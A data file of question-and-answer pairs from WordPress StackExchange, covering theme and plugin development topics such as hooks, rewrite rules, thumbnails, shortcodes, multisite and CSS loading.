INSTRUCTION
stringlengths
11
999
RESPONSE
stringlengths
0
999
SOURCE
stringlengths
16
38
METADATA
dict
Displaying a message upon user registration I have a question that I hope will be pretty simple for some of the WordPress Gurus out there. I have a WordPress network and whenever a users signs up, I would like to show (on signup confirmation page) a message that shows the code: <script type="text/javascript" src=" <script type="text/javascript"> SA.redirection_mobile ({nmobile_url : "USERURL.mysite.com", }); </script> **Note** that I am trying to display the user's URL that they just signed up with in the message. Does anybody know how to do that without modifying any of the WordPress core? Let me know if this is a little too vague, or if you need any more information. Thanks, Keenan
< > This action hook allows you to access data for a new user immediately after they are added to the database. The user id is passed to hook as an argument. add_action('user_register', 'registration_redirect'); function registration_redirect($user_id) { $url = 'PAGE_WHERE_YOUR_CODE_IS_DISPLAYED'; wp_redirect( $url ); exit; } placing that in your functions.php should work. This attempts to redirect the user after they register, i believe after they click the link in the email, which is what i think you were looking for.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "multisite, users, user registration, notifications" }
How can I let users access a specific attachment? I'm trying to add a XML file to my site that users can access when I give them the url. www.domain.com/blank01/blank02/file.xml As of right now, blank01 and blank02 don't exist as pages. Down the road they will have content and links that eventually take you to "file.xml" and others. But for right now I just want to put this file on my WP and make it accessible to my users when they go to this specifically designated url, but I can't figure out how to. I tried to upload it to the library, but the file type wasn't accepted, but I fixed that. Once I did get it uploaded to the library, I couldn't change the link. Also, what do I need to do to make blank01 and blank02 exist without being pages, just categories for now? Or do they have to be pages?
WordPress (or more precisely its `.htaccess` or alternate web server configuration file) passes through requests to existing files. The easiest way would be to start at root of your site and (using FTP/SFTP/hosting admin panel/etc): * create `blank01` folder * create `blank02` subfolder in it * place `file.xml` into subfolder And it should just work, link will point to _real_ file and WP won't get involved at all.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "attachments" }
how to create wordpress network with multiple wordpress installations i want know it is possible to have 2 or 3 wordpress installations ,get together create ,and create a network .,which will share user data across the network, if there any reference that will be great,
If you have a network, you don't need multiple installs. I would just start researching networks more via the codex. <
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "multisite, multisite user management" }
Output before and after the loop I'd like to hook into the loop, ie. have_posts() maybe? and output some code before and after. Is there a filter for this so I can use it in a plugin without needing to edit themes?
The function `the_post()` (source) triggers the action `loop_start` when it is first used in the loop. This is used in _every_ `WP_Query` loop, so you may want to check if the current query is the 'main' one (assuming that's the query you wish to target) add_action( 'loop_start', 'wpse107113_loop_start' ); function wpse107113_loop_start( $query ){ if( $query->is_main_query() ){ } } The _last time_ `have_posts()` is called it triggers the action `loop_end` (source), so similar to above: add_action( 'loop_end', 'wpse107113_loop_end' ); function wpse107113_loop_end( $query ){ if( $query->is_main_query() ){ } }
stackexchange-wordpress
{ "answer_score": 8, "question_score": 5, "tags": "plugins, loop" }
WordPress doesn't respect the template hierarchy? My theme has a custom taxonomy template (" **taxonomy-authors.php** ") but WordPress _only_ serves this template file when a term associated with this taxonomy is called. e.g. example.com/cpt/authors/john-doe When loading example.com/cpt/authors/ it will return a 404. What I want it to do is to list all terms associated with the taxonomy "authors" when example.com/cpt/authors/ is requested. Here's part of my **taxonomy-authors.php** file: <?php if (have_posts()) : ?> <h2>List of Authors</h2> <?php $terms = get_terms('authors'); foreach ($terms as $term) { echo $term->name; } endif; ?> Any pointers on how to fix this?
There's no such thing as a taxonomy archive. There is a taxonomy term archive, but no taxonomy archive. E.g. this URL makes no sense in the current system: example.com/category/ But this does: example.com/category/uncategorised/
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "custom taxonomy, templates, template hierarchy" }
Function filter breaking tag archive menus Ok, I'm setting up a site with a some CPT's. When creating posts under said CPT's, we added tags. When viewing the posts results after searching, tags were displayed, but upon clicking the archive page indicted that no results were available. So, I added the code below to my functions. function myTagFilter($query) { $post_type = $_GET['type']; if (is_tag()){ if (!$post_type) { $post_type = 'any'; } $query->set('post_type', $post_type); } return $query; }; add_filter('pre_get_posts','myTagFilter'); Now, posts from the CPT's display in the tags archive, but the menu is broken. Here's a link if you want to test it out. < So, my question is, why would the menu break because of this?
`is_tag()` is true for the entire tag archive page and for any queries that run on it. You need to restrict that code to only run for the main query on that page and that hte query is a tag query and not some other kind of query, like a menu query. You do that by checking the actual query object being used. function myTagFilter($query) { $post_type = $_GET['type']; if ($query->is_main_query() && $query->is_tag()){ if (!$post_type) { $post_type = 'any'; } $query->set('post_type', $post_type); } return $query; }; add_filter('pre_get_posts','myTagFilter'); `is_tag()`, `is_single()`, and other conditionals like that are _functions_ that check the `global` `$wp_query` object. You have to be careful not to use them to check things that are not that `global` object.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "functions, tags, archives" }
What is the proper way implement a global $wp_rewrite? The below code works correctly, but I don't know if it is proper coding. Can anyone confirm or comment on the code? add_action('init', 'news_rewrite'); function news_rewrite() { global $wp_rewrite; add_permastruct('news', 'news/%year%/%postname%/', true, 1); add_rewrite_rule('news/([0-9]{4})/(.+)/?$', 'index.php?news=$matches[2]', 'top'); add_rewrite_rule('^news/([0-9]{4})/?','index.php?post_type=news&year=$matches[1]','top'); }
It is not necessary to define $wp_rewrite in your function. The add_permastruct() and add_rewrite_rule() functions take care of that for you. Try removing the "global $wp_rewrite;" line and see if your code still works. The add_permastruct() function currently accepts three parameters. There is some backwards-compatibility logic in the function to correct for calls using the old four-parameter structure, but you might want to change that line to use the current three parameter structure, like this: add_permastruct( 'news', 'news/%year%/%postname%/', array('with_front' => true, 'ep_mask' => 1) );
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "custom post types, permalinks, rewrite rules, actions" }
Why is it bad to use the GUID? I recently upgraded my WP version from 3.2.x to 3.5.x. In the process, the WP functions that retrieve images (wp_get_attachment_image_src, get_the_post_thumbnail, etc) are now broken. I had to change calls to those functions and use `<img src='.$my_post->guid.'>` in order to get it to work. However, people have told me that using guid is not good. I'm not changing the value though, just using it because I can't find any other way to get my images to load properly. The `wp_get_attachment_image_src` method doesn't return anything. What's so bad about using the guid if it doesn't change? Is it okay in this situation?
In a nutshell - GUID is not supposed to hold meaningful data and the fact that _at this moment_ the data in it happens to be meaningful is coincidental. WordPress does no verification whatsoever that GUIDs mean anything. They are not guaranteed to stay immutable if you rely on that and they are not changed when that _needs_ to happen if they are treated as data, for example on migration with domain changes. In all my history of using WP GUIDs were one of very few things that got slapped with backwards incompatible change (sanitizing strategy for them was tightened) and it exploded long deployed work project. You got very accurate and very practical advice - forget GUIDs exist in WordPress. Follow that advice.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "upgrade, guids" }
Can a WordPress administrator see other users' passwords? Of course, an administrator in WordPress can reset other users' passwords (including that of other administrators). However, can a WordPress administrator **see** other users' passwords? Phrased differently, does the WordPress software protect registered users from an unscrupulous administrator observing their passwords? Of course, since WordPress is open source, I realize a malicious administrator could hack the software to divulge users' passwords. But I'm asking about the standard WordPress build.
No, passwords are stored as a hash in the database. This hash is very difficult to reverse. Here is more information how WP encrypts passwords: <
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "security, password" }
Function to get thumbnail img source I have this function call that displays an entire img tag with the correct url for that post.. the thumbnail img... ?php the_post_thumbnail('blog-page'); ?> What I need is just the source address for that img. How can I get that source dynamically? * * * Here is a little more explanation of what it is exaclty that I'm doing... This is the code that displays the thumbnail for a page in my wordpress: <div class="entry-thumbnail"> <a rel="lightbox" href="<?php the_permalink(); ?>"><?php the_post_thumbnail('blog-page'); ?></a> </div> I need that a tag's href to use the img's source instead of linking to the blog post it's self to get lightbox to work properly.
wp_get_attachment_url( get_post_thumbnail_id($post->ID) ); all together: <div class="entry-thumbnail"> <a rel="lightbox" href="<?php echo wp_get_attachment_url( get_post_thumbnail_id($post->ID) ); ?>"><?php echo get_the_post_thumbnail( $post->ID ); ?></a> </div>
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "functions, images, thumbnails" }
Using wordpress and codeigniter in one website Is it possible to use WordPress as the CMS but all of contents will be displayed using CodeIgniter? What I want to know also if I can use the WordPress functions by simply including this `wp-blog-header.php` in the CodeIgniter. Do you guys think this idea will work? Probably one of the function I really need is `apply_filters()`
You can install CI as a theme or a directory in a theme. Then load the files in the theme’s `functions.php` and create the output with CI. You can use all the WordPress code here. As far as I’m aware there will be no conflicts between CodeIgniter’s reserved names and WordPress. But I am not so sure about the usefulness of this combination. You will not need most of CI’s code, because WordPress handles that already.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 3, "tags": "wp blog header.php" }
Author page link in comments is different than in posts? When I `hover` over the comment author link on my `comments`, it shows a link like < After I click it, it gets me to `/author/authorname`, which is fine, but I don't want the link to be author=24 when I hover it. If I hover the `post author link`, it shows me the correct link to `author.php`. What is the difference, why and how can I solve it? Here is the snippet: <a rel="author" href ="<?php bloginfo('url'); ?>/?author=<?php echo $comment->user_id ?>"><?php echo $comment->comment_author?></a>
Use `get_comment_author_link()` instead of `<a href … </a>`: echo get_comment_author_link();
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "author, author template, comments, comments template" }
Highlighting Sub topic in a post? Have seen this sub topics highlighter in many blogs. It gives a special attraction to a sub topics used in the post. Is this a plugin or part of code? How can I add this?
> But am looking for a plugin or a code which can help me with adding this note every time I write a post. A shortcode to add that "note" is trivial. function note_sc_wpse_107275($atts,$content) { return '<p class="note"><strong>'.$content.'</strong></p>'; } add_shortcode('note','note_sc_wpse_107275'); Then just add `[note]Note content[/note]` to your post body. That will give you exactly what you see on that site, assuming that I am looking at the right piece of it. By default, it won't look like anything special. You will need to add style rules to decorate it however you like.
stackexchange-wordpress
{ "answer_score": 0, "question_score": -1, "tags": "wp query, customization, query" }
Adding meta boxes to custom post type The `add_meta_box()` function needs a callback function as an argument to display the meta box on the edit page of a custom type post. My problem is I can not display anything, say in the `input type=text` (for example the values of an already posted post), because I don't have the ID of the post... `get_post_meta` needs the ID of the post to display the values! How can I get the ID of the post?
Let’s say your post type is named `product`. You register your metabox with … add_action( 'add_meta_boxes_product', 'register_product_metabox' ); function register_product_metabox() { // register the metabox } You get the post id in your callback per post object now: function metabox_callback( $post ) { $field = get_post_meta( $post->ID ); } This happens because WordPress calls the callback with: call_user_func($box['callback'], $object, $box); See `wp-admin/includes/template.php`.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "metabox" }
Using get_bloginfo('template_directory') or variable - performance issue Can I please ask you about the performance of these two approaches in term of execution speed and server load? **approach 1:** <img src="<?php echo get_bloginfo('template_directory'); ?>/data1/images/1.jpg"> <img src="<?php echo get_bloginfo('template_directory'); ?>/data1/images/2.jpg" /> <img src="<?php echo get_bloginfo('template_directory'); ?>/data1/images/3.jpg" /> **approach 2:** <?php $variable= get_bloginfo('template_directory'); ?> <img src="<?php echo $variable; ?>/data1/images/1.jpg"> <img src="<?php echo $variable; ?>/data1/images/2.jpg" /> <img src="<?php echo $variable; ?>/data1/images/3.jpg" /> The answer to this question will be very useful for me since I meet such cases many times during Wordpress developement. Is the time to get variable content less than the time querying the database for blog info?
There is no performance difference, because the result of `get_bloginfo()` comes from an internal cache anyway, because most (all?) of the return values come from `get_option()` calls, and these are cached internally with `wp_cache_set()` and fetched with `wp_cache_get()`. See Exploring the WordPress Cache API. Even if there would be a difference it would be too small to be relevant. The more important difference is readability. This is easier to read and less error prone: $template_dir = get_template_directory_uri(); foreach ( array ( 1, 2, 3 ) as $n ) echo "<img src='$template_dir/data1/images/$n.jpg' alt=''>";
stackexchange-wordpress
{ "answer_score": 3, "question_score": 1, "tags": "php, performance" }
Get Users Post ID I need a lil something done and I have looked over Google for and cant seem to find, not even a close solution. My site is totally user front end with wp-admin being blocked by users. When a user logs in they are taken to a "dashboard". Each person can only make one post. What i need is something to take the current logged in user and grab the post id of their post. so i can link to their edit page.
I am surprised that you didn't find references to the two components that you need. These are both extremely common. $current_user = wp_get_current_user(); $query = new WP_Query( array ( 'author' => $current_user->ID, 'posts_per_page' => 1, 'post_status' => array('any'), ) ); var_dump($query); // debug # Reference: < <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "posts, front end" }
How do I sanitize a javascript text? I have a textarea that will receive a js snippet(Google Analytics). Is there a way to sanitize that? Since I cannot use functions like wp_filter_nohtml_kse(), what should I use?
No, there is no function for that. You would need a complete JavaScript parser. This is not part of the WordPress core.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 4, "tags": "plugins, javascript, validation, sanitization" }
How to remove the option data of a theme when that theme is removed? I developed a theme which stores some options to the database. I want to delete the option data from the database while the user removes the theme. But I don't know there is any action hook for doing this. Or is there any alternative method to achieve this.
I don't think this is possible with an action hook. You can only Delete a theme from the admin panel after it has been deactivated. Even if an action hook existed for Deleting (not Deactivating) a theme, your theme functions.php would not be running when you are able to hit the Delete link. Since this is a personal theme for your own use, you can just delete the options whenever you want from the "options" database table using phpMyAdmin or an Options Manager plugin. An alternative would be to include some sort of Uninstall button on an options page for your theme that would remove the options from the database and deactivate the theme, perhaps either activating TwentyTwelve or letting the user choose which theme to activate after the uninstall is complete.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "themes, actions" }
Copying blog from root to /folder (Not moving) Here is the scenario - I want to COPY (not move) the blog from www.domain_name.com/ to www.domain_name.com/folder... I want to keep the copy in root folder intact but run the same blog on subdomain too (with entirely different database but replicated).. You might find me idiot to do that, but this is the need.. We are moving blog to sub folder but the scenario is such that it wants me to keep the copy intact in a root folder entirely (with it's independent database). We will remove the root blog later anyway.. It is just for time being. I can move the blog but not getting how can I replicate the blog (with independent database) in a sub directory.. Please share your views..
Copy all of the files to the new folder. For the database, you'll need to use something like PHPMyAdmin to export the current database as a .SQL file. Edit the .SQL file you downloaded to remove the first statements specifying what database to use (it will be "USE database"). You'd then need to create a new database using your website's control panel software (like cPanel of Plesk for instance). Then go to PHPMyAdmin once more, select your new database, and then do an Import, and select the edited SQL file as the file to import. Then edit wp-config.php in your subdirectory, to use the new database name.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "database" }
If child is active add class to parent in customWalker Im writing a customWalker for the wordpress main navigation area. But i am a little stuck on how to find and add a class to the parent of the child which is active. For instance I have the whole customwalker working perfect, all parents have a active class assigned when they are active, but how to I assign an active class to the parent when a sub class is active? I managed to assign a active class to the top depth when current_page_item was given like this: if($depth === 0){ $class_names = str_replace('current_page_item', 'active', $class_names); } But how would I write it for a child class to show the parent an active when the child is active? Thanks
By default, WordPress applies ancestor classes to the parents of active items. All you have to do is target them via CSS: .nav-menu li.current_page_ancestor > a, .nav-menu li.current-menu-ancestor > a {} This code sample implies that your menu has the `.nav-menu` class. This will work with a navigation menu and with the page menu fallback.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "menus" }
Don't show certain div on front page? I have CSS issues with a certain div only on the front page (front-page.php). As I can't fix it, I was thinking about removing the item, but only on the front-page. I'm not exactly sure how I have to code this in Wordpress. I want this div in the Header to show up everywhere but on the front-page.php: <!-- BEGIN TOP SEARCH --> <form id="searchform" action="<?php bloginfo('url'); ?>/" method="get"> <input type="submit" value="" id="searchsubmit"/> <input type="text" class="field" name="s" id="s" value="Search or be lost" onfocus="this.value=''" /> </form> </div> <!-- END TOP SEARCH --> Is this possible?
I think japanworm _do not_ want it on the frontpage, the code above let's it display _only_ on the frontpage. You can exclude something (if not) by putting an ! before the tag. What you want to say is: If it isn't front page than display the form So it would actually be <?php if( !is_front_page() ) { //if we are not on the front page ?> the code of your form <?php } ?>
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "php, conditional tags" }
Store loop into array I am using folowing code to store posts ids into array: <?php $args = array( 'post_type' => 'product', 'post_status' => 'publish', 'ignore_sticky_posts' => 1, 'posts_per_page' => 5, 'orderby' => 'date', 'order' => 'desc'); $id = array(); $counter = 1; $products = new WP_Query( $args ); if ( $products->have_posts() ) : while ( $products->have_posts() ) : $products->the_post(); $id[$counter] = get_the_id(); //custom_shop_array_create($product, $counter); $counter++; endwhile; endif; ?> However it doesnt work because if I put `print_r($id)` after endif it only prints id of last post. Where am I making mistake? Thanks in forward
Try to replace $id[$counter] = get_the_id(); with array_push( $id, get_the_ID() ); to collect the post id's into the `$id` array. ## Update: If you also use `$ids` instead of `$id`: $args = array( 'post_type' => 'product', 'post_status' => 'publish', 'ignore_sticky_posts' => 1, 'posts_per_page' => 5, 'orderby' => 'date', 'order' => 'desc'); $ids = array(); $products = new WP_Query( $args ); if ( $products->have_posts() ) : while ( $products->have_posts() ) : $products->the_post(); array_push( $ids, get_the_ID() ); endwhile; endif;
stackexchange-wordpress
{ "answer_score": 4, "question_score": 2, "tags": "php, loop" }
Registration Form Shortcode Is There any way to create a shortcode for registration form using <?php do_action('register_form'); ?>
`do_action('register_form');` doesn't echo the form. It runs inside the form. You can use it to add information or maybe alter some values... maybe. So the answer is that you can't insert the registration form with that mechanism. And while there are function in `wp-login.php`, the form isn't one of them. What you probably want is `wp_loginout`. function loginout_sc_wpse_107419() { wp_loginout(); } add_shortcode('loginout','loginout_sc_wpse_107419'); The form itself is not part of any function that you can reuse, so far as I know. The code for it is here, though. You will have to create that form yourself, using that code as a model.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "shortcode, user registration" }
Checking for 'gallery' shortcode using strpos always returns false I want to conditionally enqueue a script and stylesheet depending on whether the `[gallery]` shortcode is used in posts. Here is how I am doing it (based on): function doraemon_scripts() { if( is_single() ) { if (strpos($post->post_content,'[gallery') === false){ } else { wp_enqueue_style( ... ); wp_enqueue_script( ... ); } } } add_action( 'wp_enqueue_scripts', 'doraemon_scripts' ); But the problem is, the stylesheet and script aren't being enqueued, as it seems, `strpos` is always returning false. What could I be doing wrong here?
You will need `global $post` to get the `$post` variable into the scope of that function. function doraemon_scripts() { if( is_single() ) { global $post; if (strpos($post->post_content,'[gallery') === false){ } else { // wp_enqueue_style( ... ); // wp_enqueue_script( ... ); } } } add_action( 'wp_enqueue_scripts', 'doraemon_scripts' ); Using the `$post` global outside of the Loop is not always reliable, but WordPress will set that variable to the first post in the result set which will be the correct post on _single_ post pages, but won't be right on other pages. Of course, that won't work if something else has altered the global, and you can't always predict what a plugin will do and where. You might be safer using ... global $wp_query; $post = $wp_query->posts[0];
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "gallery, wp enqueue script, conditional tags, wp enqueue style" }
Set header for default posts page? In _Settings/Reading_ I set _Testimonials_ as post page. How can I change the header of that page?
You could use a template. You just have to copy the file `header.php` and call the new file with the slug of the page `testimonials`. It would require 2 new files : `header-testimonials.php` and `front-page.php`. then you can call your custom header with `get_header('testimonials');` See the template hierarchy. Just be sure Testimonials is your front page. **EDIT:** Regarding front page (1rst page of the site) WP looks into your theme and the first file to be called is `front-page.php`. Most of the time WP blogs set front page as posts page (reading settings). Here your can set another file as custom header and call it in `front-page.php` it will be called on front page automatically. You could also insert some conditional tags in the main `header.php` but it's better to use `front-page.php` when cutomizing front page.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "homepage, custom header" }
Is it possible to paste a link without tags and make it directly a link in a post? So for example: if I post < it won't make it a link if it's a post. If it's comment, it does make it a link... Now, I want it for posts too.. Is this possible, if so, how? Can someone help me with that please?
I use a similar method to the following in a plugin of mine: function wpse107488_urls_to_links( $string ) { /* make sure there is an http:// on all URLs */ $string = preg_replace( "/([^\w\/])(www\.[a-z0-9\-]+\.[a-z0-9\-]+)/i", "$1 $string ); /* create links */ $string = preg_replace( "/([\w]+:\/\/[\w-?&;%#~=\.\/\@]+[\w\/])/i", "<a target=\"_blank\" title=\"" . __( 'Visit Site', 'your-textdomain' ) . "\" href=\"$1\">$1</a>", $string); return $string; } I don't use it for post content, but it should work there. For that, you'd have to employ the `the_content` filter: add_filter( 'the_content', 'wpse107488_urls_to_links' ); Sidenotes: This is untested. The regexes are fairly good, but they will fail in niche cases once in a while. Identifying a URL by format only, while avoiding false positives isn't the simplest of things.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "posts, comments, post meta, links" }
Insert Message before content of after title How can I insert custom message after post title. For example ## The Post Title My custom message
You need to use 'the_content' filter function add_before_content($content) { return 'Before content area '.$content; } add_filter('the_content', add_before_content); It will still be inside the content div. If you want it outside the div you have to edit related template files i.e. single.php or templates/content-single.php. It all depends on which pages you want to apply it.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "plugins, title, content" }
CSS not updating in browser when I change it I am working on the CSS of my wordpress site. When I make changes and refresh the page the changes are not reflected. When I clear the browser history and cache the changes are still reflected. When I view the source code of the page and look at the css file it has the old content before the change. How do I get this to update so I can develop?
Add a random version number at the end of the css file you are attaching. If you are using 'wp_enqueue_style' or wp_register_style functions, pass a random (version) number `rand(111,9999)` to 4th parameter. If you are attaching css as an html tag, you should add "`?ver=<?php echo rand(111,999)?>`" at the end of the file name. Examples are here wp_register_style( 'custom-style', get_template_directory_uri() . '/css/custom-style.css', array(), rand(111,9999), 'all' ); or <link rel="stylesheet" type="text/css" href=" echo rand(111,999)?>"> It will avoid caching on client end caching and possibly server caching too.
stackexchange-wordpress
{ "answer_score": 20, "question_score": 21, "tags": "theme development, css" }
External/non-WP rewrite rule without QSA I'm trying to add a new external/non-WP rewrite rule to my `.htaccess` but WP keeps adding `[QSA,L]` to the end of the rule. How do I prevent the QSA part? This line adds the RewriteRule: $wp_rewrite->add_external_rule('go/([0-9]+)/?.*$', 'wp-content/plugins/xswpc/redirect.php?id=$1'); And this is the resulting line in my `.htaccess` RewriteRule ^go/([0-9]+)/?.*$ /wp-content/plugins/xswpc/redirect.php?id=$1 [QSA,L] What I'd like is: RewriteRule ^go/([0-9]+)/?.*$ /wp-content/plugins/xswpc/redirect.php?id=$1 [L]
The apache rewrite flags like `QSA` are hard coded, see source. Not sure why it would bother you, but if you really want to change it, then you can and should use the `mod_rewrite_rules` hook for that. Below an example on how to do it: add_filter( 'mod_rewrite_rules', 'wpse107528_change_mod_rewrite_rules' ); function wpse107528_change_mod_rewrite_rules( $rules ) { $pattern = '/^(?<=RewriteRule\s\^go.+\$1\s)(\[QSA,L\])$/im'; $replacement = '[L]'; $rules = preg_replace( $pattern, $replacement, $rules ); return $rules; } Beware I haven't tested the Regex.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "url rewriting, htaccess" }
Hide a div that is part of all pages on one specific page How can I hide a div (which contains an image) for a specific WordPress page? I believe my page id is 46: !enter image description here Here is the div I am trying to change: <div id="static-footer-image" style="position:absolute; bottom: -15px; z-index: 501;"> <img src="images/background-bottom.png"/> </div> And the associated CSS code in my main CSS file: #static-footer-image body.page-id-46 { display: none; } It is still showing. What do I do to fix this?
Guess from the URL structure, your `%postname%` permalink structure is active. So, a bit of internal CSS can help alternatively, and the syntax is `in_page('page_slug')`: <?php // Do action only on specific page in WP ?> <?php if( in_page('resourses') ) { ?> <style> #static-footer-image{ display: none; } </style> <?php } ?>
stackexchange-wordpress
{ "answer_score": 2, "question_score": 5, "tags": "theme development, css, html, child theme" }
Display Taxonomy Image on single.php I'm using Taxonomy Images, and I can't figure out how to display a category's associated image on a single.php. Essentailly, when a user is viewing a post that utilizes the single.php template, it should display the post's category's image. Right now, it just doesn't display anything. This is the code that I'm using: <?php $image_id = apply_filters( "taxonomy-images-queried-term-image-id", 0 ); if ( ! empty( $image_id )): print apply_filters( "taxonomy-images-queried-term-image", "", array( "image_size" => "large" ) ); endif; ?>
I used this little trick to obtain the taxonomy image given the ID of the term: <?php $images = get_option('taxonomy_image_plugin'); $img_url = wp_get_attachment_url( $images[$term_id] ); ?>
stackexchange-wordpress
{ "answer_score": 6, "question_score": 1, "tags": "post thumbnails, taxonomy, single" }
private functions in plugins I've developed two plugins in which one function is the same (same name, same functionality). When trying to activate both plugins Wordpress throws an error because it doesn't let me defining the function under the same name twice. Is there a way to make this function private for the plugin only, without using object oriented programming and without simply renaming the function? I don't want to use OOP because I first would have to learn it. Also I wouldn't like renaming the function because I might want to use it in other plugins too and renaming feels not right to do.
Well, it is not possible, I guess. If you define function in global scope, then it is visible for all code. The only way to make it private for plugin is to use OOP (and it's recommended way of writing plugins). You can rename this function, but it won't solve your problem in the long run (still there is a chance that there will be function with the same name).
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "plugins, php, oop" }
Get the amount of posts on a given page When you go to something like: site.com/?cat=2&page=2 you might see 3 posts, the page before might have 5 posts. I am looking for a way to count the posts on a given page. so if I am on page 2, with three posts, said function should return 3. any idea?
The query object contains the member var `post_count` which will give you the number of posts on the current page: $wp_query->post_count; Also, for the total number of posts for the query (across all pages): $wp_query->found_posts; and the number of pages in the query: $wp_query->max_num_pages;
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "theme development, loop, navigation" }
!in_array doesnt recognize category I want to fill an array with categories and tried to prevent duplicates with in_array: if ( $query->have_posts() ) { $categories = array(); while ( $query->have_posts() ) { $query->the_post(); foreach((get_the_category()) as $category) { if(!in_array($category, $categories)) { $categories[] = $category; } } }; } ?> But the categories are still counted twice (or more, depending on the amount of posts).
Try it like this: if ( $query->have_posts() ) { $categories = $category_ids = array(); while ( $query->have_posts() ) { $query->the_post(); foreach ( ( get_the_category() ) as $category ) { if ( ! in_array( $category->term_id, $category_ids ) ) { $category_ids[] = $category->term_id; $categories[] = $category; } } }; } `get_the_category()` returns an array of objects. I didn't check the `in_array` documentation, but I suspect it doesn't include object matching. `$category_ids` is an array of just the ids used for comparison.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "php, categories, array" }
Change login CSS Is there a filter or something that would remove: `html,body {height:100%;}` declaration in the login page? I have made a custom login page and the `html, body {height: 100%;}` is conflicting in my style. Wordpress loads the `html,body {height:100%;}` declaration from wp-admin/css/wp-admin.css and I would like to keep the wp-admin.css file intact. I cannot override the function with `height: auto;` If there is a better way of doing it please tell me :) Update 25.07.2013 html,body `{height:auto;}` Will not work somehow I have to remove it completely.
First, you know you misspelled "height", right? To override css, you can use the "!important" operator. So you'd use: html,body{height: auto !important;} Also, you are doing something like this in your functions.php, right? function changeLoginCSS() { ?> <style type="text/css"> html,body{height: auto !important;} </style> <?php } add_action( 'login_enqueue_scripts', 'changeLoginCSS' );
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "filters, css, login" }
Disable multisite-wide plugins on specific sites On a multisite network, I have some plugins that are network activated so they run on every site in the network. However, I want to disable all of the network active plugins on some of the sites. How can I do this?
Multisite-wide active plugins are stored in the `active_sitewide_plugins` site option. We can hook into this option and return an empty array (no plugins are active). This snippet should be installed as a Must-Use Plugin. <?php /** * Plugin Name: Disable Sitewide Plugins * Author: Shea Bunge * Author URI: * Version: 0.1 */ global $blog_id; if ( in_array( $blog_id, array( 6, 9, 42 ) ) { add_filter( 'pre_site_option_active_sitewide_plugins', '__return_empty_array' ); } Remember to replace `array( 6, 9, 42 )` with an array of the blog IDs you want to disable network-wide plugins on.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "plugins, multisite" }
Display post thumbnail in foreach loop I am trying to display a thumbnail in a foreach loop. The thumbnail is a new image size I have added called "plant-thumb". I have all the desired elements displaying properly except for the thumbnail. Here is my code: foreach ( $posts as $post ) { echo '<a class="modalLink" href="plant-list-accordion'.$post->ID.'" >'; echo get_the_post_thumbnail($thumbnail->ID, 'plant-thumb'); //Here is where I'm trying to output the bespoke thumbnail echo '</a>'; $faq .= sprintf(('<div class="modal mfp-hide" id="plant-list-accordion'.$post->ID.'">%1$s<div>%2$s</div>'), $post->post_title, wpautop($post->post_content) ); $faq .= '</div>'; //Close the container } return $faq; //Return the HTML. };
`echo get_the_post_thumbnail($post->ID, 'plant-thumb'); `
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "post thumbnails, images, php" }
Set default date in datepicker of an advanced custom field I am using Advanced Custom Fields in my WordPress project. In it I have added 2 datepickers as custom fields for pages. Now the main problem is whenever I add a new page both datepickers by default show up empty, but I want to set the current date of the server as a default, that is whenever I add a new page both the date pickers should have the current date of the server by default in it. In advance thanks for the help.
It depends on the datepicker plugin you are using. Mostly all datepickers will have a default value you can play with. Usualy it is set within the input text type that hosts the datepicker. <input type="text" class="datepicker" default-value="2013/07/25"> And in wordpress' php you can do : <input type="text" class="datepicker" default-value="<?php echo date("Y/m/d"); ?>">
stackexchange-wordpress
{ "answer_score": 0, "question_score": 2, "tags": "advanced custom fields, datepicker" }
If is_single in functions.php I want the remove wpautop filter working only on posts from my blog. Because at some pages i need the autop, and at some pages i need it to not be there. I use the following rule and it is in my theme's functions.php: remove_filter( 'the_content', 'wpautop' ); Because I only want it on blogposts I was thinking about an if statement, I searched the conditional tags page in Wordpress and found out I can use is_single . But it doesn't work. This is the code I use now. if(is_single() ){ remove_filter( 'the_content', 'wpautop' ); } It is still wraped by an p. And even if it would have worked, there is an other problem. That is that is_single effects ALL singles from post types. And I only want the single of a blog post(posts). Anyone know how to fix it?
Generally it's not a common way to strip wpautop with remove_filter as it is native functionality of WordPress. But if you want to : place the remove_filter() function right before the the_content() function on the pages/templates where you don't need the wpautop `<?php remove_filter( 'the_content', 'wpautop' ); the_content();?>`
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "functions, conditional tags, the content, wp autop" }
